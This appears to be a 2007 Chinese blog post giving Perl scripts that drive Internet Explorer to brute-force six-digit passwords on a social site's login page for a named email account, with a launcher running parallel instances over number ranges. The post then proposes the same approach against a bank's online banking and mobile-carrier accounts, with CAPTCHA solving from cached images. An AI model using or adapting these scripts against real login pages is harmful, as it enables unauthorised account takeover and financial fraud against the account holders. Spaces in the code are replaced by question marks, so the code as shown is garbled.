Perl是一個異常強大的網絡處理工具,而且它的庫是相當的多與全面。老同學的網站密碼丟了,讓我找找看,我就琢磨琢磨學習了一下Perl。
如果是普通的表單,只需要用Perl自帶的LWP庫就可以了,但是有些網站會首先檢測你的瀏覽器是否支持Cookies,是否是“真實的”瀏覽器而不是機器人代理,更有甚者首先檢測你的瀏覽器是否支持腳本,如果不支持腳本是根本不讓你瀏覽任何信息的。這個時候LWP就沒有什么用了。
于是乎我想到了COM,調用Internet Explorer的接口。先用C++實現了一個,速度雖然是快,可是如何獲取Document進行網站的反饋判定卻成了難題,其中牽涉到一個等待同步的問題,總是出錯,一氣之下就廢了它。去CPAN下載了一個叫做Win32::IEAutomation的庫,省得手動初始化COM對象,還要查CSLID等等。guesser腳本很是簡單,如下。
use?Win32::IEAutomation;
my?$low?=?@ARGV[0];
my?$up?=?@ARGV[1];
if?(?$low?>?$up?){
????print?"UP?LOW?ERROR!";
????exit?1;
};
my?$ie?=?Win32::IEAutomation->new(?visible?=>?0?);
$ie->gotoURL('http://xiaonei.com/Login.do');
my?$user?=?"papyna\@126.com";
my?$time?=?time;
while(?$low?<=?$up?){
????my?$pwdstr?=?"";
????$pwdstr?=??sprintf?"\%.6u",$low;
????$ie->getTextBox('id:',"email")->SetValue($user);
????$ie->getTextBox('id:',"password")->SetValue($pwdstr);
????$ie->getButton('id:',"login")->Click;
????$ie->WaitforDone;
????if(?$ie->VerifyText('密碼錯誤')?){
????}else{
????????$time?=?time?-?$time;
????????print?"Password?Is?:?",$pwdstr,"\n";
????????print?$time,"?Seconds?Passed
";
????????exit?0;
????};
????$low++;
}
print?"Not?In?this?range?From?",$low,"?To?",$up,"\n";
exit?0; 原理很簡單,輸入一個數字范圍,然后一直調用網站的登陸腳本,直到正確的登陸。其實這也牽涉到一個字典的問題,這個就是窮舉破解的最大麻煩。不過思想是可以值得借鑒的。速度瓶頸在網絡上,機器代碼執行得飛快,等待頁面反饋太慢。為了,加速,我想到了多線程。通過這個腳本,同時執行多個上述腳本的實例。代碼也很簡單。
use?Win32::Process;
use?Win32;
sub?ErrorReport{
????print?Win32::FormatMessage(?Win32::GetLastError()?);
}
Win32::Process::Create($ProcessObj1,
????????????????????????????????"C:\\Perl\\bin\\perl.exe",
????????????????????????????????"perl guesser.pl?870100?870133",
????????????????????????????????0,
????????????????????????????????NORMAL_PRIORITY_CLASS,
????????????????????????????????".")||?die?ErrorReport();
Win32::Process::Create($ProcessObj2,
????????????????????????????????"C:\\Perl\\bin\\perl.exe",
????????????????????????????????"perl guesser.pl?861095?861231",
????????????????????????????????0,
????????????????????????????????NORMAL_PRIORITY_CLASS,
????????????????????????????????".")||?die?ErrorReport();
$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);
然后就是漫長的等待了,甚至可以聽到瀏覽器的聲音,速度緩慢的真是痛苦。不過,破解招商銀行網上銀行大眾版 —— HTTPS連接與加密插件,IE都是內置,只要先安裝好,就可以傳入URL進行窮舉了。不過有個問題就是,驗證碼。對于這個我還沒有實現,不過思路很簡單,手動寫一個讀寫圖像文件,判斷數字的函數,圖片可以從IE緩存獲得。破解移動聯通手機號碼密碼也可以順著這個思路來。
末了提醒大家,就用Google的原則,“不要做惡”。
posted on 2007-02-16 21:55
周波 閱讀(2048)
評論(1) 編輯 收藏 引用 所屬分類:
無庸技術 、
奇思妙想